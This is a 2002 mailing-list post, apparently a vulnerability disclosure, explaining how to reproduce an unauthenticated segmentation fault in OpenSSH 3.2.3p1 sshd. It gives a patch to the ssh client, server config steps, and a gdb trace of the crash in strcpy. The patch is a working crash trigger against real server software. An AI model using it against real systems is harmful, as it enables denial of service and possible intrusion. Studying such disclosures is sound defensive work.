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How to reproduce OpenSSH Overflow.
From: Joe Testa <jtesta () rapid7 com>
Date: Thu, 27 Jun 2002 13:15:12 -0400

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The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.

The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):

   0.)  Compile with PAM and S/KEY support.

   1.)  Apply the following patch to the ssh client:

- --- sshconnect2.c.bak    Thu Jun 27 11:54:54 2002
+++ sshconnect2.c    Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
    xfree(lang);

    num_prompts = packet_get_int();
+    num_prompts = 2;
    /*
     * Begin to build info response packet based on prompts requested.
     * We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@

    debug2("input_userauth_info_req: num_prompts %d", num_prompts);
    for (i = 0; i < num_prompts; i++) {
+      if ( i == 0 ) {
        prompt = packet_get_string(NULL);
        echo = packet_get_char();

        response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+      }
        packet_put_cstring(response);
- -        memset(response, 0, strlen(response));
+        /*memset(response, 0, strlen(response));
        xfree(response);
- -        xfree(prompt);
+        xfree(prompt);*/
    }
    packet_check_eom(); /* done with parsing incoming message. */



   2.)  Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.

   3.)  Connect to sshd using the modified client.
        Note:  valid credentials are not required.


On the server side, you'll see:

[root () wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)


   Comments are much appreciated.

   - Joe


GPG key:  http://www.cs.rit.edu/~jst3290/joetesta_r7.pub
A22B 2683 C40E 5443 AE52  AD6D 65B2 F5DF 4B11 06B4

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